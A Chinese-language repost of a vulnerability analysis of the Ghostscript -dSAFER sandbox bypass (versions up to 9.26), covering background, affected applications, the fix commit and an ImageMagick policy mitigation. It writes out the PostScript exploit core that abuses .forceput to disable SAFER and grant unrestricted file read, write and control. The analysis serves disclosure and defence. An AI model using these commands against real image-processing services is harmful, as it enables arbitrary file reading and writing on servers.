iis服务器助手广告广告
返回顶部
首页 > 资讯 > 精选 >ghostscript任意文件读写漏洞的示例分析
  • 881
分享到

ghostscript任意文件读写漏洞的示例分析

2023-06-19 12:06:32 881人浏览 薄情痞子
摘要

这篇文章主要为大家展示了“ghostscript任意文件读写漏洞的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“ghostscript任意文件读写漏洞的示例分析”这篇文章吧。0x

这篇文章主要为大家展示了“ghostscript任意文件读写漏洞的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“ghostscript任意文件读写漏洞的示例分析”这篇文章吧。

0x00 漏洞背景

10 月 9号,Tavis ORMandy 通过公开邮件列表

(hxxps://bugs.chromium[.]org/p/project-zero/issues/detail?id=1682),

再次指出 ghostscript 的安全沙箱可以被绕过,通过构造恶意的图片内容,可造成任意文件读写。

ghostscript应用广泛,ImageMagick、python-matplotlib、libmagick 等图像处理应用均有引用。

在ghostscript中由于以往的安全事件,针对安全问题gs官方采用增加参数-dSAFER来开启安全沙箱,此次Taviso发现通过特殊的命令组使得.forceput留存于stack,通过再注册该命令进行forceput命令的利用,引发任意读写漏洞。

0x01 漏洞影响

version <= 9.26

(702f6982b63fca353D9106d2dbb6bb21f826c2e6) 

之前的版本

官方已给出缓解措施

Http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a54c9e61e7d0

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a6807394bd94

但尚无release版本发布

漏洞导致所有引用ghostscript的上游应用受到影响。 常见应用如下:

  • imagemagick

  • libmagick

  • graphicsmagick

  • gimp

  • Python-matplotlib

  • texlive-core

  • texMacs

  • latex2html

  • latex2rtf

0x02 漏洞分析

<dict> <key> <value> .forceput -
Equivalent to put, but works even if dict is not writable,
and (if dict is systemdict or the current save level is 0)
even if dict is in global VM and key and/or value is in local VM.
This operator should be used only initialization code,
and only in executeonly procedures: it must not be accessible after initialization.

官方对.forceput的使用介绍,能够强制更新dict中的值。

这次的漏洞主要原因也就是在触发错误的时候由于构造出.forceput留存在栈中,然后被注册成命令forceput进而对systemdict进行修改。

最终达到bypass safer以及开启文件读写权限等操作。

核心过程分析首先利用如下命令访问switch_to_normal_marking_ops

/pdfopdict null def

GS_PDF_ProcSet /switch_to_normal_marking_ops get stopped

触发异常后的栈情况

ghostscript任意文件读写漏洞的示例分析
利用如下命令将.forceput 注册成forceput

/forceput $error /command get def

然后即可通过如下正常命令对systemdict进行修改

systemdict /SAFER false forceput
systemdict /userparams get /PermitFileControl [(*)] forceput
systemdict /userparams get /PermitFileWriting [(*)] forceput
systemdict /userparams get /PermitFileReading [(*)] forceput
commit a54c9e61e7d02bbc620bcba9b1c208462a876afb (HEAD)
Author: Chris Liddell <chris.liddell@artifex.com>
Date:   Sat Sep 29 15:34:55 2018 +0100
Bug 699816: Improve hiding of security critical custom operators

   Make procedures that use .forceput/.forcedef/.forceundef into operators.

   The result of this is that errors get reported against the "top" operator,
   rather than the "called" operator within the procedure.

   For example:
   /myproc
   {
     myop
   } bind def

   If 'myop' throws an error, the error handler will be passed the 'myop'
   operator. Promoting 'myproc' to a operator means the error handler will be
   passed 'myproc'.

在这次更新中对该问题进行了修复

ghostscript任意文件读写漏洞的示例分析

在注册的时候都以odef注册成特殊的运算符使其无法被利用

0x03 利用效果

在9.26(702f6982b63fca353d9106d2dbb6bb21f826c2e6)依旧work

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

PHP ImageMagick demo

ghostscript任意文件读写漏洞的示例分析

ghostscript任意文件读写漏洞的示例分析

0x04 缓解措施

目前官方已给出缓解措施,建议更新ghostscript。

至少需要到

(a54c9e61e7d02bbc620bcba9b1c208462a876afb)

之后的版本

若无法更新可先尝试禁用使用gs解析ps文件

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在中加入以下<policy>

(即禁用 PS、EPS、PDF、XPS coders):

<policymap>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
</policymap>

以上是“ghostscript任意文件读写漏洞的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注编程网精选频道!

--结束END--

本文标题: ghostscript任意文件读写漏洞的示例分析

本文链接: https://www.lsjlt.com/news/295943.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • c++中int和double有什么区别
    int 和 double 是 c++ 的数据类型,用于表示整数和浮点数。它们的关键区别在于:1. 范围:int 为整数,double 为浮点数且范围更大;2. 存储大小:int 占 4 ...
    99+
    2024-05-14
    c++ 隐式转换
  • C++ 多线程程序测试的挑战和策略
    多线程程序测试面临不可重复性、并发错误、死锁和缺乏可视性等挑战。策略包括:单元测试:针对每个线程编写单元测试,验证线程行为。多线程模拟:使用模拟框架在控制线程调度的情况下测试程序。数据竞...
    99+
    2024-05-14
    c++ 多线程
  • c++中深拷贝和浅拷贝的应用时间
    浅拷贝复制对象指针或引用,仅适用于不含动态分配内存或简单数据结构的对象;深拷贝复制实际数据,包括动态分配内存,适用于包含动态分配内存或复杂数据结构的对象。 浅拷贝和深拷贝的应用时间 在...
    99+
    2024-05-14
    c++
  • 探索用于 C++ 服务器架构的高级数据结构
    在 c++++ 服务器架构中,选择适当的高级数据结构至关重要。哈希表用于快速数据查找,树用于表示数据层次结构,图用于表示对象之间的关系。这些数据结构在实践中有着广泛的应用,例如缓存系统、...
    99+
    2024-05-14
    c++ 数据结构 社交网络 键值对
  • fixed在c++中的作用
    fixed 关键字在 c++ 中用于将浮点数存储为固定小数,提供更高精度,尤其适用于需要高精度的金融计算。fixed 将浮点数表示为具有固定小数位数的小数,默认情况下使用十进制表示法,小...
    99+
    2024-05-14
    c++
  • insert在c++中怎么用
    insert() 函数在 c++ 中用于在容器(如 vector、set)中插入元素,提供了一种动态调整容器大小并添加新元素的方法。它需要两个参数:要插入元素的位置 (pos) 和要插入...
    99+
    2024-05-14
    c++ 标准库
  • 如何使用 Golang 构建 RESTful API 并处理 JSON 响应?
    如何使用 golang 构建和处理 json 响应的 restful api步骤:创建 golang 项目并安装 gorilla mux。定义路由并处理 http 请求。安装 json ...
    99+
    2024-05-14
    golang git
  • c++中int和long的区别
    int 和 long 都是 c++ 中的整型类型,主要区别在于范围和存储空间:范围:int 为 32 位整数,范围为 [-2^31, 2^31-1];long 为 64 位整数,范围为 ...
    99+
    2024-05-14
    c++ 数据丢失
  • c++中int a(n)和int a[n]的区别
    int a(n)声明一个不可变的整型变量,而int a[n]声明一个可修改元素的整型数组,用于存储和处理数据序列或集合。 int a(n) 和 int a[n] 在 C++ 中的区别 ...
    99+
    2024-05-14
    c++
  • C++ 多线程编程中调试和故障排除的技术
    c++++ 多线程编程的调试技巧包括:使用数据竞争分析器检测读写冲突,并使用同步机制(如互斥锁)解决。使用线程调试工具检测死锁,并通过避免嵌套锁和使用死锁检测机制来解决。使用数据竞争分析...
    99+
    2024-05-14
    c++ 多线程 故障排除 同步机制
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作